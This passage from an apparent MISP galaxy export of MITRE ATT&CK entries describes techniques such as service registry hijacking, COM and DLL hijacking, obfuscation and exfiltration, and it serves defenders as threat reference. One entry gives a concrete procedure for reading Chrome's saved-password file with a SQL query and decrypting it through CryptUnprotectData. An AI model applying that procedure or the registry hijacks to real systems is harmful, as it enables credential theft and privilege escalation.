https://blog.trendmicro.com/trendlabs-security-intelligence/skidmap-linux-malware-uses-rootkit-capabilities-to-hide-cryptocurrency-mining-payload/
https://developer.apple.com/business/documentation/Configuration-Profile-Reference.pdf
https://developer.apple.com/support/kernel-extensions/
https://en.wikipedia.org/wiki/Loadable_kernel_module#Linux
https://github.com/f0rb1dd3n/Reptile
https://github.com/m0nad/Diamorphine
https://pikeralpha.wordpress.com/2017/08/29/user-approved-kernel-extension-loading/
https://richard-purves.com/2017/11/09/mdm-and-the-kextpocalypse-2/
https://securelist.com/the-ventir-trojan-assemble-your-macos-spy/67267/
https://support.apple.com/guide/deployment/system-and-kernel-extensions-in-macos-depa5fb8376f/web
https://volatility-labs.blogspot.com/2012/10/phalanx-2-revealed-using-volatility-to.html
https://www.crowdstrike.com/blog/http-iframe-injecting-linux-rootkit/
https://www.synack.com/2017/09/08/high-sierras-secure-kernel-extension-loading-is-broken/
https://www.tldp.org/LDP/lkmpg/2.4/lkmpg.pdf
https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf

Services Registry Permissions Weakness - T1574.011

Adversaries may execute their own malicious payloads by hijacking the Registry entries used by services. Adversaries may use flaws in the permissions for Registry keys related to services to redirect from the originally specified executable to one that they control, in order to launch their own code when a service starts. Windows stores local service configuration information in the Registry under <code>HKLM\SYSTEM\CurrentControlSet\Services</code>. The information stored under a service's Registry keys can be manipulated to modify a service's execution parameters through tools such as the service controller, sc.exe, [PowerShell](https://attack.mitre.org/techniques/T1059/001), or [Reg](https://attack.mitre.org/software/S0075). Access to Registry keys is controlled through access control lists and user permissions. (Citation: Registry Key Security)(Citation: malware_hides_service)

If the permissions for users and groups are not properly set and allow access to the Registry keys for a service, adversaries may change the service's binPath/ImagePath to point to a different executable under their control. When the service starts or is restarted, then the adversary-controlled program will execute, allowing the adversary to establish persistence and/or privilege escalation to the account context the service is set to execute under (local/domain account, SYSTEM, LocalService, or NetworkService).

Adversaries may also alter other Registry keys in the service's Registry tree. For example, the <code>FailureCommand</code> key may be changed so that the service is executed in an elevated context anytime the service fails or is intentionally corrupted.(Citation: Kansa Service related collectors)(Citation: Tweet Registry Perms Weakness)

The <code>Performance</code> key contains the name of a driver service's performance DLL and the names of several exported functions in the DLL.(Citation: microsoft_services_registry_tree) If the <code>Performance</code> key is not already present and if an adversary-controlled user has the <code>Create Subkey</code> permission, adversaries may create the <code>Performance</code> key in the service's Registry tree to point to a malicious DLL.(Citation: insecure_reg_perms)

Adversaries may also add the <code>Parameters</code> key, which stores driver-specific data, or other custom subkeys for their malicious services to establish persistence or enable other malicious activities.(Citation: microsoft_services_registry_tree)(Citation: troj_zegost) Additionally, If adversaries launch their malicious services using svchost.exe, the service's file may be identified using <code>HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\servicename\Parameters\ServiceDll</code>.(Citation: malware_hides_service)

The tag is: *misp-galaxy:mitre-attack-pattern="Services Registry Permissions Weakness - T1574.011"*

Table 3764. Table References

Links
https://attack.mitre.org/techniques/T1574/011
https://capec.mitre.org/data/definitions/478.html
https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns
https://docs.microsoft.com/en-us/windows-hardware/drivers/install/hklm-system-currentcontrolset-services-registry-tree
https://docs.microsoft.com/en-us/windows/win32/sysinfo/registry-key-security-and-access-rights?redirectedfrom=MSDN
https://itm4n.github.io/windows-registry-rpceptmapper-eop/
https://trustedsignal.blogspot.com/2014/05/kansa-service-related-collectors-and.html
https://twitter.com/r0wdy_/status/936365549553991680
https://www.bleepingcomputer.com/tutorials/how-malware-hides-as-a-service/
https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/troj_zegost

Component Object Model Hijacking - T1546.015

Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects. COM is a system within Windows to enable interaction between software components through the operating system.(Citation: Microsoft Component Object Model) References to various COM objects are stored in the Registry.

Adversaries can use the COM system to insert malicious code that can be executed in place of legitimate software through hijacking the COM references and relationships as a means for persistence. Hijacking a COM object requires a change in the Registry to replace a reference to a legitimate system component which may cause that component to not work when executed. When that system component is executed through normal system operation the adversary's code will be executed instead.(Citation: GDATA COM Hijacking) An adversary is likely to hijack objects that are used frequently enough to maintain a consistent level of persistence, but are unlikely to break noticeable functionality within the system as to avoid system instability that could lead to detection.

The tag is: *misp-galaxy:mitre-attack-pattern="Component Object Model Hijacking - T1546.015"*

Table 3765. Table References

Links
https://attack.mitre.org/techniques/T1546/015
https://blog.gdatasoftware.com/2014/10/23941-com-object-hijacking-the-discreet-way-of-persistence
https://msdn.microsoft.com/library/ms694363.aspx
https://www.elastic.co/blog/how-hunt-detecting-persistence-evasion-com

Deobfuscate/Decode Files or Information - T1140

Adversaries may use [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027) to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.

One such example is use of [certutil](https://attack.mitre.org/software/S0160) to decode a remote access tool portable executable file that has been hidden inside a certificate file. (Citation: Malwarebytes Targeted Attack against Saudi Arabia) Another example is using the Windows <code>copy /b</code> command to reassemble binary fragments into a malicious payload. (Citation: Carbon Black Obfuscation Sept 2016)

Sometimes a user's action may be required to open it for deobfuscation or decryption as part of [User Execution](https://attack.mitre.org/techniques/T1204). The user may also be required to input a password to open a password protected compressed/encrypted file that was provided by the adversary. (Citation: Volexity PowerDuke November 2016)

The tag is: *misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140"*

Table 3766. Table References

Links
https://attack.mitre.org/techniques/T1140

https://blog.malwarebytes.com/cybercrime/social-engineering-cybercrime/2017/03/new-targeted-attack-saudi-arabia-government/
https://www.carbonblack.com/2016/09/23/security-advisory-variants-well-known-adware-families-discovered-include-sophisticated-obfuscation-techniques-previously-associated-nation-state-attacks/
https://www.volexity.com/blog/2016/11/09/powerduke-post-election-spear-phishing-campaigns-targeting-think-tanks-and-ngos/

Obtain domain/IP registration information - T1251

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1251).

For a computing resource to be accessible to the public, domain names and IP addresses must be registered with an authorized organization. (Citation: Google Domains WHOIS) (Citation: FunAndSun2012) (Citation: Scasny2015)

The tag is: *misp-galaxy:mitre-attack-pattern="Obtain domain/IP registration information - T1251"*

Table 3767. Table References

Links
https://attack.mitre.org/techniques/T1251

Assign KITs/KIQs into categories - T1228

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1228).

Leadership organizes Key Intelligence Topics (KITs) and Key Intelligence Questions (KIQs) into three types of categories and creates more if necessary. An example of a description of key players KIT would be when an adversary assesses the cyber defensive capabilities of a nation-state threat actor. (Citation: Herring1999)

The tag is: *misp-galaxy:mitre-attack-pattern="Assign KITs/KIQs into categories - T1228"*

Table 3768. Table References

Links
https://attack.mitre.org/techniques/T1228

Receive operator KITs/KIQs tasking - T1235

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content

of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1235).

Analysts may receive intelligence requirements from leadership and begin research process to satisfy a requirement. Part of this process may include delineating between needs and wants and thinking through all the possible aspects associating with satisfying a requirement. (Citation: FBIIntelligencePrimer)

The tag is: *misp-galaxy:mitre-attack-pattern="Receive operator KITs/KIQs tasking - T1235"*

Table 3769. Table References

Links
https://attack.mitre.org/techniques/T1235

Data Transfer Size Limits - T1030

An adversary may exfiltrate data in fixed size chunks instead of whole files or limit packet sizes below certain thresholds. This approach may be used to avoid triggering network data transfer threshold alerts.

The tag is: *misp-galaxy:mitre-attack-pattern="Data Transfer Size Limits - T1030"*

Table 3770. Table References

Links
https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
https://attack.mitre.org/techniques/T1030

Data from Local System - T1005

Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.

Adversaries may do this using a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059), such as [cmd](https://attack.mitre.org/software/S0106) as well as a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008), which have functionality to interact with the file system to gather information. Adversaries may also use [Automated Collection](https://attack.mitre.org/techniques/T1119) on the local system.

The tag is: *misp-galaxy:mitre-attack-pattern="Data from Local System - T1005"*

Table 3771. Table References

Links
https://attack.mitre.org/techniques/T1005
https://www.mandiant.com/resources/apt41-initiates-global-intrusion-campaign-using-multiple-exploits
https://www.us-cert.gov/ncas/alerts/TA18-106A

Indicator Removal on Host - T1070

Adversaries may delete or modify artifacts generated on a host system to remove evidence of their presence or hinder defenses. Various artifacts may be created by an adversary or something that can be attributed to an adversary's actions. Typically these artifacts are used as defensive indicators related to monitored events, such as strings from downloaded files, logs that are generated from user actions, and other data analyzed by defenders. Location, format, and type of artifact (such as command or login history) are often specific to each platform.

Removal of these indicators may interfere with event collection, reporting, or other processes used to detect intrusion activity. This may compromise the integrity of security solutions by causing notable events to go unreported. This activity may also impede forensic analysis and incident response, due to lack of sufficient data to determine what occurred.

The tag is: *misp-galaxy:mitre-attack-pattern="Indicator Removal on Host - T1070"*

Table 3772. Table References

Links
https://attack.mitre.org/techniques/T1070
https://capec.mitre.org/data/definitions/93.html

Exfiltration Over C2 Channel - T1041

Adversaries may steal data by exfiltrating it over an existing command and control channel. Stolen data is encoded into the normal communications channel using the same protocol as command and control communications.

The tag is: *misp-galaxy:mitre-attack-pattern="Exfiltration Over C2 Channel - T1041"*

Table 3773. Table References

Links
https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
https://attack.mitre.org/techniques/T1041

Exploitation of Remote Services - T1210

Adversaries may exploit remote services to gain unauthorized access to internal systems once inside of a network. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. A common goal for post-compromise exploitation of remote services is for lateral movement to enable access to a remote system.

An adversary may need to determine if the remote system is in a vulnerable state, which may be done through [Network Service Discovery](https://attack.mitre.org/techniques/T1046) or other Discovery methods looking for common, vulnerable software that may be deployed in the network, the lack of certain patches that may indicate vulnerabilities, or security software that may be used to detect or contain remote exploitation. Servers are likely a high value target for lateral movement exploitation, but endpoint systems may also be at risk if they provide an advantage or access to additional resources.

There are several well-known vulnerabilities that exist in common services such as SMB (Citation: CIS Multiple SMB Vulnerabilities) and RDP (Citation: NVD CVE-2017-0176) as well as applications that may be used within internal networks such as MySQL (Citation: NVD CVE-2016-6662) and web server services.(Citation: NVD CVE-2014-7169)

Depending on the permissions level of the vulnerable remote service an adversary may achieve [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068) as a result of lateral movement exploitation as well.

The tag is: *misp-galaxy:mitre-attack-pattern="Exploitation of Remote Services - T1210"*

Table 3774. Table References

Links
https://attack.mitre.org/techniques/T1210
https://nvd.nist.gov/vuln/detail/CVE-2014-7169
https://nvd.nist.gov/vuln/detail/CVE-2016-6662
https://nvd.nist.gov/vuln/detail/CVE-2017-0176
https://www.cisecurity.org/advisory/multiple-vulnerabilities-in-microsoft-windows-smb-server-could-allow-for-remote-code-execution/

System Network Configuration Discovery - T1016

Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include [Arp](https://attack.mitre.org/software/S0099), [ipconfig](ifconfig (https://attack.mitre.org/software/S0101), [nbtstat](https://attack.mitre.org/software/S0102), and [route](https://attack.mitre.org/software/S0103).

Adversaries may also leverage a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) on network devices to gather information about configurations and settings, such as IP addresses of configured interfaces and static/dynamic routes.(Citation: US-CERT-TA18-106A)(Citation: Mandiant APT41 Global Intrusion)

Adversaries may use the information from [System Network Configuration Discovery](https://attack.mitre.org/techniques/T1016) during automated discovery to shape follow-on behaviors, including determining certain access within the target network and what actions to do next.

The tag is: *misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016"*

Table 3775. Table References

Links
https://attack.mitre.org/techniques/T1016
https://capec.mitre.org/data/definitions/309.html
https://www.mandiant.com/resources/apt41-initiates-global-intrusion-campaign-using-multiple-exploits
https://www.us-cert.gov/ncas/alerts/TA18-106A

Replication Through Removable Media - T1091

Adversaries may move onto systems, possibly those on disconnected or air-gapped networks, by copying malware to removable media and taking advantage of Autorun features when the media is inserted into a system and executes. In the case of Lateral Movement, this may occur through modification of executable files stored on removable media or by copying malware and renaming it to look like a legitimate file to trick users into executing it on a separate system. In the case of Initial Access, this may occur through manual manipulation of the media, modification of systems used to initially format the media, or modification to the media's firmware itself.

The tag is: *misp-galaxy:mitre-attack-pattern="Replication Through Removable Media - T1091"*

Table 3776. Table References

Links
https://attack.mitre.org/techniques/T1091

Exploitation for Client Execution - T1203

Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.

Several types exist:

Browser-based Exploitation

Web browsers are a common target through [Drive-by Compromise](https://attack.mitre.org/techniques/T1189) and [Spearphishing Link](https://attack.mitre.org/techniques/T1566/002). Endpoint systems may be compromised through normal web browsing or from certain users being targeted by links in spearphishing emails to adversary controlled sites used to exploit the web browser. These often do not require an action by the user for the exploit to be executed.

Office Applications

Common office and productivity applications such as Microsoft Office are also targeted through [Phishing](https://attack.mitre.org/techniques/T1566). Malicious files will be transmitted directly as attachments or through links to download them. These require the user to open the document or file for the exploit to run.

Common Third-party Applications

Other applications that are commonly seen or are part of the software deployed in a target network may also be used for exploitation. Applications such as Adobe Reader and Flash, which are common in enterprise environments, have been routinely targeted by adversaries attempting to gain access to systems. Depending on the software and nature of the vulnerability, some may be exploited in the browser or require the user to open a file. For instance, some Flash exploits have been delivered as objects within Microsoft Office documents.

The tag is: *misp-galaxy:mitre-attack-pattern="Exploitation for Client Execution - T1203"*

Table 3777. Table References

Links
https://attack.mitre.org/techniques/T1203

Change Default File Association - T1042

When a file is opened, the default program used to open the file (also called the file association or handler) is checked. File association selections are stored in the Windows Registry and can be edited by users, administrators, or programs that have Registry access (Citation: Microsoft Change Default Programs) (Citation: Microsoft File Handlers) or by administrators using the built-in assoc utility. (Citation: Microsoft Assoc Oct 2017) Applications can modify the file association for a given file extension to call an arbitrary program when a file with the given extension is opened.

System file associations are listed under <code>HKEY_CLASSES_ROOT\.[extension]</code>, for example <code>HKEY_CLASSES_ROOT\.txt</code>. The entries point to a handler for that extension located at <code>HKEY_CLASSES_ROOT\[handler]</code>. The various commands are then listed as subkeys underneath the shell key at <code>HKEY_CLASSES_ROOT\[handler]\shell\[action]\command</code>. For example: * <code>HKEY_CLASSES_ROOT\txtfile\shell\open\command</code> * <code>HKEY_CLASSES_ROOT\txtfile\shell\print\command</code> * <code>HKEY_CLASSES_ROOT\txtfile\shell\printto\command</code>

The values of the keys listed are commands that are executed when the handler opens the file extension. Adversaries can modify these values to continually execute arbitrary commands. (Citation: TrendMicro TROJ-FAKEAV OCT 2012)

The tag is: *misp-galaxy:mitre-attack-pattern="Change Default File Association - T1042"*

View relationships graph

Change Default File Association - T1042 has relationships with:

- revoked-by: misp-galaxy:mitre-attack-pattern="Change Default File Association - T1546.001" with estimative-language:likelihood-probability="almost-certain"

Table 3778. Table References

Links
http://msdn.microsoft.com/en-us/library/bb166549.aspx
https://attack.mitre.org/techniques/T1042
https://capec.mitre.org/data/definitions/556.html
https://docs.microsoft.com/windows-server/administration/windows-commands/assoc
https://support.microsoft.com/en-us/help/18539/windows-7-change-default-programs
https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/troj_fakeav.gzd

File and Directory Discovery - T1420

On Android, command line tools or the Java file APIs can be used to enumerate file system contents. However, Linux file permissions and SELinux policies generally strongly restrict what can be accessed by apps (without taking advantage of a privilege escalation exploit). The contents of the external storage directory are generally visible, which could present concern if sensitive data is inappropriately stored there.

iOS's security architecture generally restricts the ability to perform file and directory discovery without use of escalated privileges.

The tag is: *misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1420"*

Table 3779. Table References

Links
https://attack.mitre.org/techniques/T1420

Data from Removable Media - T1025

Adversaries may search connected removable media on computers they have compromised to find files of interest. Sensitive data can be collected from any removable media (optical disk drive, USB memory, etc.) connected to the compromised system prior to Exfiltration. Interactive command shells may be in use, and common functionality within [cmd](https://attack.mitre.org/software/S0106) may be used to gather information.

Some adversaries may also use [Automated Collection](https://attack.mitre.org/techniques/T1119) on removable media.

The tag is: *misp-galaxy:mitre-attack-pattern="Data from Removable Media - T1025"*

Table 3780. Table References

Links
https://attack.mitre.org/techniques/T1025

Exfiltration Over Physical Medium - T1052

Adversaries may attempt to exfiltrate data via a physical medium, such as a removable drive. In certain circumstances, such as an air-gapped network compromise, exfiltration could occur via a physical medium or device introduced by a user. Such media could be an external hard drive, USB drive, cellular phone, MP3 player, or other removable storage and processing device. The physical medium or device could be used as the final exfiltration point or to hop between otherwise disconnected systems.

The tag is: *misp-galaxy:mitre-attack-pattern="Exfiltration Over Physical Medium - T1052"*

Table 3781. Table References

Links
https://attack.mitre.org/techniques/T1052

Data from Configuration Repository - T1602

Adversaries may collect data related to managed devices from configuration repositories. Configuration repositories are used by management systems in order to configure, manage, and control data on remote systems. Configuration repositories may also facilitate remote access and administration of devices.

Adversaries may target these repositories in order to collect large quantities of sensitive system administration data. Data from configuration repositories may be exposed by various protocols and software and can store a wide variety of data, much of which may align with adversary Discovery objectives.(Citation: US-CERT-TA18-106A)(Citation: US-CERT TA17-156A SNMP Abuse 2017)

The tag is: *misp-galaxy:mitre-attack-pattern="Data from Configuration Repository - T1602"*

Table 3782. Table References

Links
https://attack.mitre.org/techniques/T1602
https://tools.cisco.com/security/center/content/CiscoAppliedMitigationBulletin/cisco-amb-20080610-SNMPv3
https://us-cert.cisa.gov/ncas/alerts/TA17-156A
https://www.us-cert.gov/ncas/alerts/TA18-106A

Obfuscated Files or Information - T1027

Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.

Payloads may be compressed, archived, or encrypted in order to avoid detection. These payloads may be used during Initial Access or later to mitigate detection. Sometimes a user's action may be required to open and [Deobfuscate/Decode Files or Information](https://attack.mitre.org/techniques/T1140) for [User Execution](https://attack.mitre.org/techniques/T1204). The user may also be required to input a password to open a password protected compressed/encrypted file that was provided by the adversary. (Citation: Volexity PowerDuke November 2016) Adversaries may also used compressed or archived scripts, such as JavaScript.

Portions of files can also be encoded to hide the plain-text strings that would otherwise help defenders with discovery. (Citation: Linux/Cdorked.A We Live Security Analysis) Payloads may also be split into separate, seemingly benign files that only reveal malicious functionality when reassembled. (Citation: Carbon Black Obfuscation Sept 2016)

Adversaries may also obfuscate commands executed from payloads or directly via a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059). Environment variables, aliases, characters, and other platform/language specific semantics can be used to evade signature based detections and application control mechanisms. (Citation: FireEye Obfuscation June 2017) (Citation: FireEye Revoke-Obfuscation July 2017)(Citation: PaloAlto EncodedCommand March 2017)

The tag is: *misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027"*

Table 3783. Table References

Links
https://attack.mitre.org/techniques/T1027
https://capec.mitre.org/data/definitions/267.html
https://github.com/danielbohannon/Revoke-Obfuscation
https://github.com/itsreallynick/office-crackros
https://researchcenter.paloaltonetworks.com/2017/03/unit42-pulling-back-the-curtains-on-encodedcommand-powershell-attacks/
https://www.carbonblack.com/2016/09/23/security-advisory-variants-well-known-adware-families-discovered-include-sophisticated-obfuscation-techniques-previously-associated-nation-state-attacks/
https://www.fireeye.com/blog/threat-research/2017/06/obfuscation-in-the-wild.html
https://www.fireeye.com/content/dam/fireeye-www/blog/pdfs/revoke-obfuscation-report.pdf
https://www.volexity.com/blog/2016/11/09/powerduke-post-election-spear-phishing-campaigns-targeting-think-tanks-and-ngos/
https://www.welivesecurity.com/2013/04/26/linuxcdorked-new-apache-backdoor-in-the-wild-serves-blackhole/

Communication Through Removable Media - T1092

Adversaries can perform command and control between compromised hosts on potentially disconnected networks using removable media to transfer commands from system to system. Both systems would need to be compromised, with the likelihood that an Internet-connected system was compromised first and the second through lateral movement by [Replication Through Removable Media](https://attack.mitre.org/techniques/T1091). Commands and files would be relayed from the disconnected system to the Internet-connected system to which the adversary has direct access.

The tag is: *misp-galaxy:mitre-attack-pattern="Communication Through Removable Media - T1092"*

Table 3784. Table References

Links
https://attack.mitre.org/techniques/T1092

Modify Cached Executable Code - T1403

ART (the Android Runtime) compiles optimized code on the device itself to improve performance. An adversary may be able to use escalated privileges to modify the cached code in order to hide malicious behavior. Since the code is compiled on the device, it may not receive the same level of integrity checks that are provided to code running in the system partition.(Citation: Sabanal-ART)

The tag is: *misp-galaxy:mitre-attack-pattern="Modify Cached Executable Code - T1403"*

Table 3785. Table References

Links
https://attack.mitre.org/techniques/T1403
https://www.blackhat.com/docs/asia-15/materials/asia-15-Sabanal-Hiding-Behind-ART-wp.pdf

Credentials from Web Browsers - T1503

Adversaries may acquire credentials from web browsers by reading files specific to the target browser. (Citation: Talos Olympic Destroyer 2018)

Web browsers commonly save credentials such as website usernames and passwords so that they do not need to be entered manually in the future. Web browsers typically store the credentials in an encrypted format within a credential store; however, methods exist to extract plaintext credentials from web browsers.

For example, on Windows systems, encrypted credentials may be obtained from Google Chrome by reading a database file, <code>AppData\Local\Google\Chrome\User Data\Default\Login Data</code> and executing a SQL query: <code>SELECT action_url, username_value, password_value FROM logins;</code>. The plaintext password can then be obtained by passing the encrypted credentials to the Windows API function <code>CryptUnprotectData</code>, which uses the victim's cached logon credentials as the decryption key. (Citation: Microsoft CryptUnprotectData April 2018)

Adversaries have executed similar procedures for common web browsers such as FireFox, Safari, Edge, etc. (Citation: Proofpoint Vega Credential Stealer May 2018)(Citation: FireEye HawkEye Malware July 2017)

Adversaries may also acquire credentials by searching web browser process memory for patterns that commonly match credentials.(Citation: GitHub Mimikittenz July 2016)

After acquiring credentials from web browsers, adversaries may attempt to recycle the credentials across different systems and/or accounts in order to expand access. This can result in significantly furthering an adversary's objective in cases where credentials gained from web browsers overlap with privileged accounts (e.g. domain administrator).

The tag is: *misp-galaxy:mitre-attack-pattern="Credentials from Web Browsers - T1503"*

View relationships graph

Credentials from Web Browsers - T1503 has relationships with:

- revoked-by: misp-galaxy:mitre-attack-pattern="Credentials from Web Browsers - T1555.003" with estimative-language:likelihood-probability="almost-certain"

Table 3786. Table References

Links
https://attack.mitre.org/techniques/T1503
https://blog.talosintelligence.com/2018/02/olympic-destroyer.html
https://docs.microsoft.com/en-us/windows/desktop/api/dpapi/nf-dpapi-cryptunprotectdata
https://github.com/putterpanda/mimikittenz
https://www.fireeye.com/blog/threat-research/2017/07/hawkeye-malware-distributed-in-phishing-campaign.html
https://www.proofpoint.com/us/threat-insight/post/new-vega-stealer-shines-brightly-targeted-campaign

File and Directory Discovery - T1083

Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from [File and Directory Discovery](https://attack.mitre.org/techniques/T1083) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.

Many command shell utilities can be used to obtain this information. Examples include <code>dir</code>, <code>tree</code>, <code>ls</code>, <code>find</code>, and <code>locate</code>.(Citation: Windows Commands JPCERT) Custom tools may also be used to gather file and directory information and interact with the [Native API](https://attack.mitre.org/techniques/T1106). Adversaries may also leverage a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) on network devices to gather file and directory information.(Citation: US-CERT-TA18-106A)

The tag is: *misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083"*

Table 3787. Table References

Links
https://attack.mitre.org/techniques/T1083
https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html
https://capec.mitre.org/data/definitions/127.html
https://capec.mitre.org/data/definitions/497.html
https://www.us-cert.gov/ncas/alerts/TA18-106A

DLL Search Order Hijacking - T1038

Windows systems use a common method to look for required DLLs to load into a program. (Citation: Microsoft DLL Search) Adversaries may take advantage of the Windows DLL search order and programs that ambiguously specify DLLs to gain privilege escalation and persistence.

Adversaries may perform DLL preloading, also called binary planting attacks, (Citation: OWASP Binary Planting) by placing a malicious DLL with the same name as an ambiguously specified DLL in a location that Windows searches before the legitimate DLL. Often this location is the current working directory of the program. Remote DLL preloading attacks occur when a program sets its current directory to a remote location such as a Web share before loading a DLL. (Citation: Microsoft 2269637) Adversaries may use this behavior to cause the program to load a malicious DLL.

Adversaries may also directly modify the way a program loads DLLs by replacing an existing DLL or modifying a .manifest or .local redirection file, directory, or junction to cause the program to load a different DLL to maintain persistence or privilege escalation. (Citation: Microsoft DLL Redirection) (Citation: Microsoft Manifests) (Citation: Mandiant Search Order)

If a search order-vulnerable program is configured to run at a higher privilege level, then the adversary-controlled DLL that is loaded will also be executed at the higher level. In this case, the technique could be used for privilege escalation from user to administrator or SYSTEM or from administrator to SYSTEM, depending on the program.

Programs that fall victim to path hijacking may appear to behave normally because malicious DLLs may be configured to also load the legitimate DLLs they were meant to replace.

The tag is: *misp-galaxy:mitre-attack-pattern="DLL Search Order Hijacking - T1038"*

View relationships graph

DLL Search Order Hijacking - T1038 has relationships with:

- revoked-by: misp-galaxy:mitre-attack-pattern="DLL Search Order Hijacking - T1574.001" with estimative-language:likelihood-probability="almost-certain"

Table 3788. Table References

Links
http://msdn.microsoft.com/en-US/library/ms682586

http://msdn.microsoft.com/en-US/library/ms682600
https://attack.mitre.org/techniques/T1038
https://capec.mitre.org/data/definitions/471.html
https://msdn.microsoft.com/en-US/library/aa375365
https://msrc-blog.microsoft.com/2010/08/21/microsoft-security-advisory-2269637-released/
https://www.mandiant.com/blog/dll-search-order-hijacking-revisited/
https://www.owasp.org/index.php/Binary_planting

Deploy exploit using advertising - T1380

This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.

Exploits spread through advertising (malvertising) involve injecting malicious or malware-laden advertisements into legitimate online advertising networks and webpages. (Citation: TPMalvertising)

The tag is: *misp-galaxy:mitre-attack-pattern="Deploy exploit using advertising - T1380"*

Table 3789. Table References

Links
https://attack.mitre.org/techniques/T1380

Detect App Analysis Environment - T1440

An adversary could evade app vetting techniques by placing code in a malicious application to detect whether it is running in an app analysis environment and, if so, avoid performing malicious actions while under analysis.

Discussion of general Android anti-analysis techniques can be found in (Citation: Petsas). Discussion of Google Play Store-specific anti-analysis techniques can be found in (Citation: Oberheide-Bouncer), (Citation: Percoco-Bouncer).

```
(Citation: Wang) presents a discussion of iOS anti-analysis techniques.
```

Platforms: Android, iOS

The tag is: *misp-galaxy:mitre-attack-pattern="Detect App Analysis Environment - T1440"*

View relationships graph

Detect App Analysis Environment - T1440 has relationships with:

- revoked-by: misp-galaxy:mitre-attack-pattern="Deliver Malicious App via Authorized App Store

- T1475" with estimative-language:likelihood-probability="almost-certain"

Table 3790. Table References

Links
https://attack.mitre.org/techniques/T1440

File System Permissions Weakness - T1044

Processes may automatically execute specific binaries as part of their functionality or to perform other actions. If the permissions on the file system directory containing a target binary, or permissions on the binary itself, are improperly set, then the target binary may be overwritten with another binary using user-level permissions and executed by the original process. If the original process and thread are running under a higher permissions level, then the replaced binary will also execute under higher-level permissions, which could include SYSTEM.

Adversaries may use this technique to replace legitimate binaries with malicious ones as a means of executing code at a higher permissions level. If the executing process is set to run at a specific time or during a certain event (e.g., system bootup) then this technique can also be used for persistence.

Services

Manipulation of Windows service binaries is one variation of this technique. Adversaries may replace a legitimate service executable with their own executable to gain persistence and/or privilege escalation to the account context the service is set to execute under (local/domain account, SYSTEM, LocalService, or NetworkService). Once the service is started, either directly by the user (if appropriate access is available) or through some other means, such as a system restart if the service starts on bootup, the replaced executable will run instead of the original service executable.

Executable Installers

Another variation of this technique can be performed by taking advantage of a weakness that is common in executable, self-extracting installers. During the installation process, it is common for installers to use a subdirectory within the <code>%TEMP%</code> directory to unpack binaries such as DLLs, EXEs, or other payloads. When installers create subdirectories and files they often do not set appropriate permissions to restrict write access, which allows for execution of untrusted code placed in the subdirectories or overwriting of binaries used in the installation process. This behavior is related to and may take advantage of [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1038). Some installers may also require elevated privileges that will result in privilege escalation when executing adversary controlled code. This behavior is related to [Bypass User Account Control](https://attack.mitre.org/techniques/T1088). Several examples of this weakness in existing common installers have been reported to software vendors. (Citation: Mozilla Firefox Installer DLL Hijack) (Citation: Seclists Kanthak 7zip Installer)

The tag is: *misp-galaxy:mitre-attack-pattern="File System Permissions Weakness - T1044"*

View relationships graph

File System Permissions Weakness - T1044 has relationships with:

- revoked-by: misp-galaxy:mitre-attack-pattern="Services File Permissions Weakness - T1574.010" with estimative-language:likelihood-probability="almost-certain"

Table 3791. Table References

Links
http://seclists.org/fulldisclosure/2015/Dec/34
https://attack.mitre.org/techniques/T1044
https://capec.mitre.org/data/definitions/17.html
https://www.mozilla.org/en-US/security/advisories/mfsa2012-98/

Obfuscated Files or Information - T1406

